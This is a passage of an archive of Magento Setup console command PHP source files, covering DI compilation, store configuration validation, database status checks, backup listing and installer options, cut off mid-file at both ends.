} // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } $modulePaths = $this->componentRegistrar->getPaths(ComponentRegistrar::MODULE); $libraryPaths = $this->componentRegistrar->getPaths(ComponentRegistrar::LIBRARY); $setupPath = $this->directoryList->getPath(DirectoryList::SETUP); $generationPath = $this->directoryList->getPath(DirectoryList::GENERATED_CODE); $this->objectManager->get(\Magento\Framework\App\Cache::class)->clean(); $compiledPathsList = [ 'application' => $modulePaths, 'library' => $libraryPaths, 'setup' => $setupPath, 'generated_helpers' => $generationPath ]; $this->excludedPathsList = [ 'application' => $this->getExcludedModulePaths($modulePaths), 'framework' => $this->getExcludedLibraryPaths($libraryPaths), 'setup' => $this->getExcludedSetupPaths($setupPath), ]; $this->configureObjectManager($output); $operations = $this->getOperationsConfiguration($compiledPathsList); try { $this->cleanupFilesystem( [ DirectoryList::CACHE, DirectoryList::GENERATED_METADATA, ] ); foreach ($operations as $operationCode => $arguments) { $this->taskManager->addOperation( $operationCode, $arguments ); } /** @var ProgressBar $progressBar */ $progressBar = $this->objectManager->create( \Symfony\Component\Console\Helper\ProgressBar::class, [ 'output' => $output, 'max' => count($operations) ] ); $progressBar->setFormat( '<info>%message%</info> %current%/%max% [%bar%] %percent:3s%% %elapsed% %memory:6s%' ); $output->writeln('<info>Compilation was started.</info>'); $progressBar->start(); $progressBar->display(); $this->taskManager->process( function (OperationInterface $operation) use ($progressBar) { $progressBar->setMessage($operation->getName() . '...'); $progressBar->display(); }, function (OperationInterface $operation) use ($progressBar) { $progressBar->advance(); } ); $progressBar->finish(); $output->writeln(''); $output->writeln('<info>Generated code and dependency injection configuration successfully.</info>'); } catch (OperationException $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } return Cli::RETURN_SUCCESS; } /** * Build list of module path regexps which should be excluded from compilation * * @param string[] $modulePaths * @return string[] */ private function getExcludedModulePaths(array $modulePaths) { $modulesByBasePath = []; foreach ($modulePaths as $modulePath) { $moduleDir = $this->file->getPathInfo($modulePath)['basename']; $vendorPath = $this->fileDriver->getParentDirectory($modulePath); $vendorDir = $this->file->getPathInfo($vendorPath)['basename']; $basePath = $this->fileDriver->getParentDirectory($vendorPath); $modulesByBasePath[$basePath][$vendorDir][] = $moduleDir; } $basePathsRegExps = []; foreach ($modulesByBasePath as $basePath => $vendorPaths) { $vendorPathsRegExps = []; foreach ($vendorPaths as $vendorDir => $vendorModules) { $vendorPathsRegExps[] = $vendorDir . '/(?:' . join('|', $vendorModules) . ')'; } $basePathsRegExps[] = preg_quote($basePath, '#') . '/(?:' . join('|', $vendorPathsRegExps) . ')'; } $excludedModulePaths = [ '#^(?:' . join('|', $basePathsRegExps) . ')/Test#', '#^(?:' . join('|', $basePathsRegExps) . ')/tests#', ]; return $excludedModulePaths; } /** * Build list of library path regexps which should be excluded from compilation * * @param string[] $libraryPaths * @return string[] */ private function getExcludedLibraryPaths(array $libraryPaths) { $libraryPaths = array_map( function ($libraryPath) { return preg_quote($libraryPath, '#'); }, $libraryPaths ); $excludedLibraryPaths = [ '#^(?:' . join('|', $libraryPaths) . ')/([\\w]+/)?Test#', '#^(?:' . join('|', $libraryPaths) . ')/([\\w]+/)?tests#', ]; return $excludedLibraryPaths; } /** * Get excluded setup application paths * * @param string $setupPath * @return string[] */ private function getExcludedSetupPaths($setupPath) { return [ '#^(?:' . preg_quote($setupPath, '#') . ')(/[\\w]+)*/Test#' ]; } /** * Delete directories by their code from "var" directory * * @param array $directoryCodeList * @return void */ private function cleanupFilesystem($directoryCodeList) { foreach ($directoryCodeList as $code) { $this->filesystem->getDirectoryWrite($code)->delete(); } } /** * Configure Object Manager * * @param OutputInterface $output * @return void */ private function configureObjectManager(OutputInterface $output) { $this->objectManager->configure( [ 'preferences' => [\Magento\Framework\App\ObjectManager\ConfigWriterInterface::class => \Magento\Framework\App\ObjectManager\ConfigWriter\Filesystem::class, ], \Magento\Setup\Module\Di\Compiler\Config\ModificationChain::class => [ 'arguments' => [ 'modificationsList' => [ 'BackslashTrim' => [ 'instance' => \Magento\Setup\Module\Di\Compiler\Config\Chain\BackslashTrim::class ], 'PreferencesResolving' => [ 'instance' => \Magento\Setup\Module\Di\Compiler\Config\Chain\PreferencesResolving::class ], 'InterceptorSubstitution' => [ 'instance' => \Magento\Setup\Module\Di\Compiler\Config\Chain\InterceptorSubstitution::class ], 'InterceptionPreferencesResolving' => [ 'instance' => \Magento\Setup\Module\Di\Compiler\Config\Chain\PreferencesResolving::class ], ] ] ], \Magento\Setup\Module\Di\Code\Generator\PluginList::class => [ 'arguments' => [ 'cache' => [ 'instance' => \Magento\Framework\App\Interception\Cache\CompiledConfig::class ] ] ], \Magento\Setup\Module\Di\Code\Reader\ClassesScanner::class => [ 'arguments' => [ 'excludePatterns' => $this->excludedPathsList ] ], \Magento\Setup\Module\Di\Compiler\Log\Writer\Console::class => [ 'arguments' => [ 'output' => $output, ] ], ] ); } /** * Returns operations configuration * * @param array $compiledPathsList * @return array */ private function getOperationsConfiguration( array $compiledPathsList ) { $excludePatterns = array_merge([], ...array_values($this->excludedPathsList)); return [ OperationFactory::PROXY_GENERATOR => [], OperationFactory::REPOSITORY_GENERATOR => [ 'paths' => $compiledPathsList['application'], ], OperationFactory::DATA_ATTRIBUTES_GENERATOR => [], OperationFactory::APPLICATION_CODE_GENERATOR => [ 'paths' => [ $compiledPathsList['application'], $compiledPathsList['library'], $compiledPathsList['setup'], $compiledPathsList['generated_helpers'], ], 'filePatterns' => ['php' => '/\.php$/'], 'excludePatterns' => $excludePatterns, ], OperationFactory::INTERCEPTION => [ 'intercepted_paths' => [ $compiledPathsList['application'], $compiledPathsList['library'], $compiledPathsList['generated_helpers'], ], 'path_to_store' => $compiledPathsList['generated_helpers'], ], OperationFactory::AREA_CONFIG_GENERATOR => [ $compiledPathsList['application'], $compiledPathsList['library'], $compiledPathsList['generated_helpers'], ], OperationFactory::INTERCEPTION_CACHE => [ $compiledPathsList['application'], $compiledPathsList['library'], $compiledPathsList['generated_helpers'], ], OperationFactory::APPLICATION_ACTION_LIST_GENERATOR => [], OperationFactory::PLUGIN_LIST_GENERATOR => [], ]; } } Magento/Setup/Console/Command/InstallStoreConfigurationCommand.php000077700000030422151323623130021410 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\Setup\ConsoleLogger; use Magento\Framework\App\DeploymentConfig; use Magento\Setup\Model\InstallerFactory; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Magento\Setup\Model\StoreConfigurationDataMapper; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Exception\LocalizedException; use Magento\Framework\Validator\Locale as LocaleValidator; use Magento\Framework\Validator\Timezone as TimezoneValidator; use Magento\Framework\Validator\Currency as CurrencyValidator; use Magento\Framework\Validator\Url as UrlValidator; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallStoreConfigurationCommand extends AbstractSetupCommand { /** * @var InstallerFactory */ private $installerFactory; /** * Deployment configuration * * @var DeploymentConfig */ private $deploymentConfig; /** * Object Manager * * @var ObjectManagerInterface * @deprecated 2.2.0 */ private $objectManager; /** * @var LocaleValidator */ private $localeValidator; /** * @var TimezoneValidator */ private $timezoneValidator; /** * @var CurrencyValidator */ private $currencyValidator; /** * @var UrlValidator */ private $urlValidator; /** * Inject dependencies * * @param InstallerFactory $installerFactory * @param DeploymentConfig $deploymentConfig * @param ObjectManagerProvider $objectManagerProvider * @param LocaleValidator $localeValidator, * @param TimezoneValidator $timezoneValidator, * @param CurrencyValidator $currencyValidator, * @param UrlValidator $urlValidator */ public function __construct( InstallerFactory $installerFactory, DeploymentConfig $deploymentConfig, ObjectManagerProvider $objectManagerProvider, LocaleValidator $localeValidator, TimezoneValidator $timezoneValidator, CurrencyValidator $currencyValidator, UrlValidator $urlValidator ) { $this->installerFactory = $installerFactory; $this->deploymentConfig = $deploymentConfig; $this->objectManager = $objectManagerProvider->get(); $this->localeValidator = $localeValidator; $this->timezoneValidator = $timezoneValidator; $this->currencyValidator = $currencyValidator; $this->urlValidator = $urlValidator; parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('setup:store-config:set') ->setDescription('Installs the store configuration. Deprecated since 2.2.0. Use config:set instead') ->setDefinition($this->getOptionsList()); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable()) { $output->writeln( "<info>Store settings can't be saved because the Magento application is not installed.</info>" ); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $errors = $this->validate($input); if ($errors) { $output->writeln($errors); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $installer = $this->installerFactory->create(new ConsoleLogger($output)); $installer->installUserConfig($input->getOptions()); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } /** * Get list of options for the command * * @return InputOption[] */ public function getOptionsList() { return [ new InputOption( StoreConfigurationDataMapper::KEY_BASE_URL, null, InputOption::VALUE_REQUIRED, 'URL the store is supposed to be available at. ' . 'Deprecated, use config:set with path web/unsecure/base_url' ), new InputOption( StoreConfigurationDataMapper::KEY_LANGUAGE, null, InputOption::VALUE_REQUIRED, 'Default language code. ' . 'Deprecated, use config:set with path general/locale/code' ), new InputOption( StoreConfigurationDataMapper::KEY_TIMEZONE, null, InputOption::VALUE_REQUIRED, 'Default time zone code. ' . 'Deprecated, use config:set with path general/locale/timezone' ), new InputOption( StoreConfigurationDataMapper::KEY_CURRENCY, null, InputOption::VALUE_REQUIRED, 'Default currency code. ' . 'Deprecated, use config:set with path currency/options/base, currency/options/default' . ' and currency/options/allow' ), new InputOption( StoreConfigurationDataMapper::KEY_USE_SEF_URL, null, InputOption::VALUE_REQUIRED, 'Use rewrites. ' . 'Deprecated, use config:set with path web/seo/use_rewrites' ), new InputOption( StoreConfigurationDataMapper::KEY_IS_SECURE, null, InputOption::VALUE_REQUIRED, 'Use secure URLs. Enable this option only if SSL is available. ' . 'Deprecated, use config:set with path web/secure/use_in_frontend' ), new InputOption( StoreConfigurationDataMapper::KEY_BASE_URL_SECURE, null, InputOption::VALUE_REQUIRED, 'Base URL for SSL connection. ' . 'Deprecated, use config:set with path web/secure/base_url' ), new InputOption( StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN, null, InputOption::VALUE_REQUIRED, 'Run admin interface with SSL. ' . 'Deprecated, use config:set with path web/secure/use_in_adminhtml' ), new InputOption( StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY, null, InputOption::VALUE_REQUIRED, 'Whether to use a "security key" feature in Magento Admin URLs and forms. ' . 'Deprecated, use config:set with path admin/security/use_form_key' ), ]; } /** * Check if option values provided by the user are valid * * @param InputInterface $input * @return string[] * @SuppressWarnings(PHPMD.CyclomaticComplexity) * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function validate(InputInterface $input) { $errors = []; $errorMsg = ''; $options = $input->getOptions(); foreach ($options as $key => $value) { if (!$value) { continue; } switch ($key) { case StoreConfigurationDataMapper::KEY_BASE_URL: if (strcmp($value, '{{base_url}}') == 0) { break; } $errorMsg = $this->validateUrl( $value, StoreConfigurationDataMapper::KEY_BASE_URL, ['http', 'https'] ); break; case StoreConfigurationDataMapper::KEY_LANGUAGE: $errorMsg = $this->validateCodes( $this->localeValidator, $value, StoreConfigurationDataMapper::KEY_LANGUAGE ); break; case StoreConfigurationDataMapper::KEY_TIMEZONE: $errorMsg = $this->validateCodes( $this->timezoneValidator, $value, StoreConfigurationDataMapper::KEY_TIMEZONE ); break; case StoreConfigurationDataMapper::KEY_CURRENCY: $errorMsg = $this->validateCodes( $this->currencyValidator, $value, StoreConfigurationDataMapper::KEY_CURRENCY ); break; case StoreConfigurationDataMapper::KEY_USE_SEF_URL: $errorMsg = $this->validateBinaryValue($value, StoreConfigurationDataMapper::KEY_USE_SEF_URL); break; case StoreConfigurationDataMapper::KEY_IS_SECURE: $errorMsg = $this->validateBinaryValue($value, StoreConfigurationDataMapper::KEY_IS_SECURE); break; case StoreConfigurationDataMapper::KEY_BASE_URL_SECURE: $errorMsg = $this->validateUrl( $value, StoreConfigurationDataMapper::KEY_BASE_URL_SECURE, ['https'] ); break; case StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN: $errorMsg = $this->validateBinaryValue($value, StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN); break; case StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY: $errorMsg = $this->validateBinaryValue( $value, StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY ); break; case StoreConfigurationDataMapper::KEY_JS_LOGGING: $errorMsg = $this->validateBinaryValue( $value, StoreConfigurationDataMapper::KEY_JS_LOGGING ); break; } if ($errorMsg !== '') { $errors[] = $errorMsg; } } return $errors; } /** * Validate binary value for a specified key * * @param string $value * @param string $key * @return string */ private function validateBinaryValue($value, $key) { $errorMsg = ''; if ($value !== '0' && $value !== '1') { $errorMsg = '<error>' . 'Command option \'' . $key . '\': Invalid value. Possible values (0|1).</error>'; } return $errorMsg; } /** * Validate codes for languages, currencies or timezones * * @param LocaleValidator|TimezoneValidator|CurrencyValidator $lists * @param string $code * @param string $type * @return string */ private function validateCodes($lists, $code, $type) { $errorMsg = ''; if (!$lists->isValid($code)) { $errorMsg = '<error>' . 'Command option \'' . $type . '\': Invalid value. To see possible values, ' . "run command 'bin/magento info:" . $type . ':list\'.</error>'; } return $errorMsg; } /** * Validate URL * * @param string $url * @param string $option * @param array $allowedSchemes * @return string */ private function validateUrl($url, $option, array $allowedSchemes) { $errorMsg = ''; if (!$this->urlValidator->isValid($url, $allowedSchemes)) { $errorTemplate = '<error>Command option \'%s\': Invalid URL \'%s\'.' . ' Domain Name should contain only letters, digits and hyphen.' . ' And you should use only following schemes: \'%s\'.</error>'; $errorMsg = sprintf( $errorTemplate, $option, $url, implode(', ', $allowedSchemes) ); } return $errorMsg; } } Magento/Setup/Console/Command/DbStatusCommand.php000077700000006652151323623130015776 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Console\Cli; use Magento\Framework\Setup\Declaration\Schema\UpToDateDeclarativeSchema; use Magento\Framework\Setup\OldDbValidator; use Magento\Framework\Setup\Patch\UpToDateData; use Magento\Framework\Setup\Patch\UpToDateSchema; use Magento\Framework\Setup\UpToDateValidatorInterface; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Command for checking if DB version is in sync with the code base version */ class DbStatusCommand extends AbstractSetupCommand { /** * Code for error when application upgrade is required. */ const EXIT_CODE_UPGRADE_REQUIRED = 2; /** * Object manager provider * * @var ObjectManagerProvider */ private $objectManagerProvider; /** * Deployment configuration * * @var DeploymentConfig */ private $deploymentConfig; /** * @var UpToDateValidatorInterface[] */ private $upToDateValidators = []; /** * Inject dependencies * * @param ObjectManagerProvider $objectManagerProvider * @param DeploymentConfig $deploymentConfig */ public function __construct(ObjectManagerProvider $objectManagerProvider, DeploymentConfig $deploymentConfig) { $this->objectManagerProvider = $objectManagerProvider; $this->deploymentConfig = $deploymentConfig; /** * As DbStatucCommand is in setup and all validators are part of the framework, we can`t configure * this command with dependency injection and we need to inject each validator manually */ $this->upToDateValidators = [ $this->objectManagerProvider->get()->get(UpToDateDeclarativeSchema::class), $this->objectManagerProvider->get()->get(UpToDateSchema::class), $this->objectManagerProvider->get()->get(UpToDateData::class), $this->objectManagerProvider->get()->get(OldDbValidator::class), ]; parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('setup:db:status') ->setDescription('Checks if DB schema or data requires upgrade'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable()) { $output->writeln( "<info>No information is available: the Magento application is not installed.</info>" ); return Cli::RETURN_FAILURE; } $outDated = false; foreach ($this->upToDateValidators as $validator) { if (!$validator->isUpToDate()) { $output->writeln(sprintf('<info>%s</info>', $validator->getNotUpToDateMessage())); $outDated = true; } } if ($outDated) { $output->writeln('<info>Run \'setup:upgrade\' to update your DB schema and data.</info>'); return self::EXIT_CODE_UPGRADE_REQUIRED; } $output->writeln( '<info>All modules are up to date.</info>' ); return Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/DependenciesShowFrameworkCommand.php000077700000004403151323623130021342 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Utility\Files; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Component\ComponentRegistrarInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\Dependency\ServiceLocator; /** * Command for showing numbers of dependencies on Magento Framework */ class DependenciesShowFrameworkCommand extends AbstractDependenciesCommand { /** * @var ComponentRegistrarInterface */ private $registrar; /** * Constructor * * @param ComponentRegistrarInterface $registrar * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ComponentRegistrarInterface $registrar, ObjectManagerProvider $objectManagerProvider) { $this->registrar = $registrar; parent::__construct($objectManagerProvider); } /** * {@inheritdoc} */ protected function configure() { $this->setDescription('Shows number of dependencies on Magento framework') ->setName('info:dependencies:show-framework'); parent::configure(); } /** * Return default output filename for framework dependencies report * * @return string */ protected function getDefaultOutputFilename() { return 'framework-dependencies.csv'; } /** * Build Framework dependencies report * * @param string $outputPath * @return void */ protected function buildReport($outputPath) { $filePaths = $this->registrar->getPaths(ComponentRegistrar::MODULE); $filesForParse = Files::init()->getFiles($filePaths, '*'); $configFiles = Files::init()->getConfigFiles('module.xml', [], false); ServiceLocator::getFrameworkDependenciesReportBuilder()->build( [ 'parse' => [ 'files_for_parse' => $filesForParse, 'config_files' => $configFiles, 'declared_namespaces' => Files::init()->getNamespaces(), ], 'write' => ['report_filename' => $outputPath], ] ); } } Magento/Setup/Console/Command/ModuleDisableCommand.php000077700000001153151323623130016745 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; /** * Command for disabling list or all of modules */ class ModuleDisableCommand extends AbstractModuleManageCommand { /** * {@inheritdoc} */ protected function configure() { $this->setName('module:disable') ->setDescription('Disables specified modules'); parent::configure(); } /** * Disable modules * * @return bool */ protected function isEnable() { return false; } } Magento/Setup/Console/Command/InfoBackupsListCommand.php000077700000007757151323623130017314 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Backup\Factory; use Magento\Framework\Filesystem\Driver\File; use Magento\Framework\Setup\BackupRollback; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\TableFactory; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Magento\Framework\App\ObjectManager; /** * Command prints list of available backup files */ class InfoBackupsListCommand extends Command { /** * File * * @var File */ private $file; /** * Filesystem Directory List * * @var DirectoryList */ private $directoryList; /** * @var TableFactory */ private $tableHelperFactory; /** * @param DirectoryList $directoryList * @param File $file * @param TableFactory $tableHelperFactory */ public function __construct( DirectoryList $directoryList, File $file, TableFactory $tableHelperFactory = null ) { $this->directoryList = $directoryList; $this->file = $file; $this->tableHelperFactory = $tableHelperFactory ?: ObjectManager::getInstance()->create(TableFactory::class); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('info:backups:list') ->setDescription('Prints list of available backup files'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $backupsDir = $this->directoryList->getPath(DirectoryList::VAR_DIR) . '/' . BackupRollback::DEFAULT_BACKUP_DIRECTORY; if ($this->file->isExists($backupsDir)) { $contents = $this->file->readDirectoryRecursively($backupsDir); $tempTable = []; foreach ($contents as $path) { $partsOfPath = explode('/', str_replace('\\', '/', $path)); $fileName = $partsOfPath[count($partsOfPath) - 1]; // if filename starts with '.' skip, e.g. '.git' if (!(strpos($fileName, '.') === 0)) { $filenameWithoutExtension = explode('.', $fileName); // actually first part of $filenameWithoutExtension contains only the filename without extension // and filename contains the type of backup separated by '_' $fileNameParts = explode('_', $filenameWithoutExtension[0]); if (in_array(Factory::TYPE_MEDIA, $fileNameParts)) { $tempTable[$fileName] = Factory::TYPE_MEDIA; } elseif (in_array(Factory::TYPE_DB, $fileNameParts)) { $tempTable[$fileName] = Factory::TYPE_DB; } elseif (in_array('code', $fileNameParts)) { $tempTable[$fileName] = 'code'; } } } if (empty($tempTable)) { $output->writeln('<info>No backup files found.</info>'); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } $output->writeln("<info>Showing backup files in $backupsDir.</info>"); /** @var \Symfony\Component\Console\Helper\Table $tableHelper */ $tableHelper = $this->tableHelperFactory->create(['output' => $output]); $tableHelper->setHeaders(['Backup Filename', 'Backup Type']); asort($tempTable); foreach ($tempTable as $key => $value) { $tableHelper->addRow([$key, $value]); } $tableHelper->render(); } else { $output->writeln('<info>No backup files found.</info>'); } return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/InstallCommand.php000077700000035111151323623130015643 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Console\Command; use Magento\Deploy\Console\Command\App\ConfigImportCommand; use Magento\Framework\Setup\Declaration\Schema\DryRunLogger; use Magento\Framework\Setup\Declaration\Schema\OperationsExecutor; use Magento\Framework\Setup\Declaration\Schema\Request; use Magento\Setup\Model\AdminAccount; use Magento\Setup\Model\ConfigModel; use Magento\Setup\Model\InstallerFactory; use Magento\Framework\Setup\ConsoleLogger; use Magento\Setup\Model\SearchConfigOptionsList; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Helper\QuestionHelper; /** * Command to install Magento application * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallCommand extends AbstractSetupCommand { /** * Parameter indicating command whether to cleanup database in the install routine */ const INPUT_KEY_CLEANUP_DB = 'cleanup-database'; /** * Parameter to specify an order_increment_prefix */ const INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX = 'sales-order-increment-prefix'; /** * Parameter indicating command whether to install Sample Data */ const INPUT_KEY_USE_SAMPLE_DATA = 'use-sample-data'; /** * List of comma-separated module names. That must be enabled during installation. * Available magic param all. */ const INPUT_KEY_ENABLE_MODULES = 'enable-modules'; /** * List of comma-separated module names. That must be avoided during installation. * List of comma-separated module names. That must be avoided during installation. * Available magic param all. */ const INPUT_KEY_DISABLE_MODULES = 'disable-modules'; /** * If this flag is enabled, than all your old scripts with format: * InstallSchema, UpgradeSchema will be converted to new db_schema.xml format. */ const CONVERT_OLD_SCRIPTS_KEY = 'convert-old-scripts'; /** * Parameter indicating command for interactive setup */ const INPUT_KEY_INTERACTIVE_SETUP = 'interactive'; /** * Parameter indicating command shortcut for interactive setup */ const INPUT_KEY_INTERACTIVE_SETUP_SHORTCUT = 'i'; /** * Parameter says that in this mode all destructive operations, like column removal will be dumped */ const INPUT_KEY_SAFE_INSTALLER_MODE = 'safe-mode'; /** * Parameter allows to restore data, that was dumped with safe mode before */ const INPUT_KEY_DATA_RESTORE = 'data-restore'; /** * Regex for sales_order_increment_prefix validation. */ const SALES_ORDER_INCREMENT_PREFIX_RULE = '/^.{0,20}$/'; /** * Installer service factory * * @var InstallerFactory */ private $installerFactory; /** * @var ConfigModel */ protected $configModel; /** * @var InstallStoreConfigurationCommand */ protected $userConfig; /** * @var AdminUserCreateCommand */ protected $adminUser; /** * @var SearchConfigOptionsList */ protected $searchConfigOptionsList; /** * Constructor * * @param InstallerFactory $installerFactory * @param ConfigModel $configModel * @param InstallStoreConfigurationCommand $userConfig * @param AdminUserCreateCommand $adminUser * @param SearchConfigOptionsList $searchConfigOptionsList */ public function __construct( InstallerFactory $installerFactory, ConfigModel $configModel, InstallStoreConfigurationCommand $userConfig, AdminUserCreateCommand $adminUser, SearchConfigOptionsList $searchConfigOptionsList ) { $this->installerFactory = $installerFactory; $this->configModel = $configModel; $this->userConfig = $userConfig; $this->adminUser = $adminUser; $this->searchConfigOptionsList = $searchConfigOptionsList; parent::__construct(); } /** * @inheritdoc */ protected function configure() { $inputOptions = $this->configModel->getAvailableOptions(); $inputOptions = array_merge($inputOptions, $this->userConfig->getOptionsList()); $inputOptions = array_merge($inputOptions, $this->adminUser->getOptionsList(InputOption::VALUE_OPTIONAL)); $inputOptions = array_merge($inputOptions, $this->searchConfigOptionsList->getOptionsList()); $inputOptions = array_merge($inputOptions, [ new InputOption( self::INPUT_KEY_CLEANUP_DB, null, InputOption::VALUE_NONE, 'Cleanup the database before installation' ), new InputOption( self::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX, null, InputOption::VALUE_REQUIRED, 'Sales order number prefix' ), new InputOption( self::INPUT_KEY_USE_SAMPLE_DATA, null, InputOption::VALUE_NONE, 'Use sample data' ), new InputOption( self::INPUT_KEY_ENABLE_MODULES, null, InputOption::VALUE_OPTIONAL, 'List of comma-separated module names. That must be included during installation. ' . 'Available magic param "all".' ), new InputOption( self::INPUT_KEY_DISABLE_MODULES, null, InputOption::VALUE_OPTIONAL, 'List of comma-separated module names. That must be avoided during installation. ' . 'Available magic param "all".' ), new InputOption( self::CONVERT_OLD_SCRIPTS_KEY, null, InputOption::VALUE_OPTIONAL, 'Allows to convert old scripts (InstallSchema, UpgradeSchema) to db_schema.xml format', false ), new InputOption( self::INPUT_KEY_INTERACTIVE_SETUP, self::INPUT_KEY_INTERACTIVE_SETUP_SHORTCUT, InputOption::VALUE_NONE, 'Interactive Magento installation' ), new InputOption( OperationsExecutor::KEY_SAFE_MODE, null, InputOption::VALUE_OPTIONAL, 'Safe installation of Magento with dumps on destructive operations, like column removal' ), new InputOption( OperationsExecutor::KEY_DATA_RESTORE, null, InputOption::VALUE_OPTIONAL, 'Restore removed data from dumps' ), new InputOption( DryRunLogger::INPUT_KEY_DRY_RUN_MODE, null, InputOption::VALUE_OPTIONAL, 'Magento Installation will be run in dry-run mode', false ), ]); $this->setName('setup:install') ->setDescription('Installs the Magento application') ->setDefinition($inputOptions); parent::configure(); } /** * @inheritdoc */ protected function execute(InputInterface $input, OutputInterface $output) { $consoleLogger = new ConsoleLogger($output); $installer = $this->installerFactory->create($consoleLogger); $installer->install($input->getOptions()); $importConfigCommand = $this->getApplication()->find(ConfigImportCommand::COMMAND_NAME); $arrayInput = new ArrayInput([]); $arrayInput->setInteractive($input->isInteractive()); return $importConfigCommand->run($arrayInput, $output); } /** * @inheritdoc */ protected function initialize(InputInterface $input, OutputInterface $output) { $inputOptions = $input->getOptions(); if ($inputOptions['interactive']) { $configOptionsToValidate = $this->interactiveQuestions($input, $output); } else { $configOptionsToValidate = []; foreach ($this->configModel->getAvailableOptions() as $option) { if (array_key_exists($option->getName(), $inputOptions)) { $configOptionsToValidate[$option->getName()] = $inputOptions[$option->getName()]; } } } if ($inputOptions['interactive']) { $command = ''; foreach ($configOptionsToValidate as $key => $value) { $command .= " --{$key}={$value}"; } $output->writeln("<comment>Try re-running command: php bin/magento setup:install{$command}</comment>"); } $errors = $this->configModel->validate($configOptionsToValidate); $errors = array_merge($errors, $this->validateAdmin($input)); $errors = array_merge($errors, $this->validate($input)); $errors = array_merge($errors, $this->userConfig->validate($input)); if (!empty($errors)) { foreach ($errors as $error) { $output->writeln("<error>$error</error>"); } throw new \InvalidArgumentException('Parameter validation failed'); } } /** * Validate sales_order_increment_prefix value * * It will save the value which discarding characters after 20th to the database so it should be * validated in advance. * * @param InputInterface $input * @return string[] Array of error messages */ public function validate(InputInterface $input) : array { $errors = []; $value = $input->getOption(self::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX); if (preg_match(self::SALES_ORDER_INCREMENT_PREFIX_RULE, (string) $value) != 1) { $errors[] = 'Validation failed, ' . self::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX . ' must be 20 characters or less'; } return $errors; } /** * Runs interactive questions * * It will ask users for interactive questionst regarding setup configuration. * * @param InputInterface $input * @param OutputInterface $output * @return string[] Array of inputs */ private function interactiveQuestions(InputInterface $input, OutputInterface $output) : array { $helper = $this->getHelper('question'); $configOptionsToValidate = []; foreach ($this->configModel->getAvailableOptions() as $option) { $configOptionsToValidate[$option->getName()] = $this->askQuestion( $input, $output, $helper, $option, true ); } $output->writeln(""); foreach ($this->userConfig->getOptionsList() as $option) { $configOptionsToValidate[$option->getName()] = $this->askQuestion( $input, $output, $helper, $option ); } $output->writeln(""); foreach ($this->adminUser->getOptionsList(InputOption::VALUE_OPTIONAL) as $option) { $configOptionsToValidate[$option->getName()] = $this->askQuestion( $input, $output, $helper, $option ); } $output->writeln(""); $returnConfigOptionsToValidate = []; foreach ($configOptionsToValidate as $key => $value) { if ($value != '') { $returnConfigOptionsToValidate[$key] = $value; } } return $returnConfigOptionsToValidate; } /** * Runs interactive questions * * It will ask users for interactive questionst regarding setup configuration. * * @param InputInterface $input * @param OutputInterface $output * @param 